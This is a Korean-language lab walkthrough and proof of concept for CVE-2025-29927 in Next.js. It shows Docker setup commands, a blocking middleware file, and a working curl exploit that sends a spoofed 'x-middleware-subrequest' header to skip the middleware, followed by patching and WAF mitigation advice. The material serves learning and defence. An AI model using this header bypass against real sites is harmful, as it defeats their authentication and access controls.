
CVE-2025-29927에 대한 개념 증명(PoC)으로, Next.js 13.5.9 이전 버전에서 미들웨어 우회를 시연합니다.
CVE-2025-29927은 Next.js 1.11.4 및 12.3.5, 13.5.9, 14.2.25, 15.2.3 이전 버전에서 발견된 미들웨어 우회(Middleware Bypass) 취약점입니다. 이를 통해 외부 공격자는 개발자가 middleware.ts 파일에 구현한 인증, 봇 감지, 지리적 위치 리디렉션과 같은 보안 로직을 건너뛸 수 있습니다.
Next.js는 서로 다른 아키텍처 계층 간 통신을 위해 내부 HTTP 헤더를 사용합니다. 그중 하나가 x-middleware-subrequest 헤더입니다.
이 취약점은 취약한 버전의 Next.js가 브라우저나 curl과 같은 외부 클라이언트가 보낸 경우에도 이 헤더를 신뢰하기 때문에 발생합니다. 서버가 이 헤더를 확인하면 요청이 이미 미들웨어에 의해 처리되고 "통과"된 것으로 간주하여 보안 코드 실행을 완전히 건너뜁니다.
이 실습 환경은 깨끗하고 재현 가능한 환경을 보장하기 위해 Node:18-alpine Docker 컨테이너 내부에서 실행됩니다.
먼저 명명된 컨테이너를 백그라운드에서 실행합니다. 구성 중 컨테이너를 계속 실행 상태로 유지하기 위해 sleep infinity를 사용합니다.
나중 단계에서 컨테이너를 다시 시작할 때 몇 가지 문제가 발생했기 때문에 sleep infinity를 선택했습니다.
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
특정 취약 버전의 Next.js를 설치합니다. --src-dir false 플래그를 사용했음에도 프레임워크가 src 디렉터리를 생성하며, 미들웨어를 활성화하려면 해당 디렉터리에 미들웨어를 배치해야 합니다.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
보안 장벽을 시뮬레이션하기 위해 middleware.ts 파일을 생성합니다. 이 미들웨어는 들어오는 모든 요청을 401 Unauthorized 상태로 차단하도록 구성됩니다.
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
개발 서버를 시작하고 콘솔에서 ✓ Ready 신호를 기다립니다.
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
호스트 머신에서 새 터미널 창을 엽니다(이전 터미널은 종료하지 마세요). curl을 사용하여 환경을 테스트합니다.
헤더를 수정하지 않은 일반 요청은 미들웨어에 의해 정상적으로 감지되어 차단됩니다.
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
내부 헤더 x-middleware-subrequest: src/middleware를 주입하여 Next.js가 요청이 이미 내부 프로세스에 의해 검증된 것으로 믿게 만듭니다. 서버는 미들웨어 실행을 건너뛰고 전체 접근을 허용합니다.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
CVE-2025-29927로부터 애플리케이션을 보호하려면 현재 사용 중인 메이저 릴리스에 해당하는 패치 버전으로 Next.js를 업그레이드해야 합니다:
이 취약점은 다음 버전에서 해결되었습니다. package.json이 최소한 다음 버전을 반영하도록 하세요:
# Example for updating to the latest patched version
npm install next@latest
즉시 업그레이드가 불가능한 경우, WAF(Web Application Firewall) 또는 리버스 프록시(예: Nginx, Cloudflare, Varnish)가 요청이 Next.js 애플리케이션 서버에 도달하기 전에 모든 외부 요청에서 x-middleware-subrequest 헤더를 제거하거나 차단하도록 구성해야 합니다.
업그레이드 후에는 5단계의 익스플로잇 명령을 다시 실행하여 수정 사항을 확인할 수 있습니다. 패치된 서버는 스푸핑된 헤더가 있을 때 더 이상 200 OK를 반환하지 않습니다.
이 취약점은 Next.js가 내부 하위 요청을 식별하기 위해 클라이언트 측 헤더를 신뢰하기 때문에 존재합니다. 이를 완화하려면 Next.js를 외부에서 들어오는 트래픽의 내부 헤더를 적절히 검증하거나 제거하는 버전으로 업데이트해야 합니다.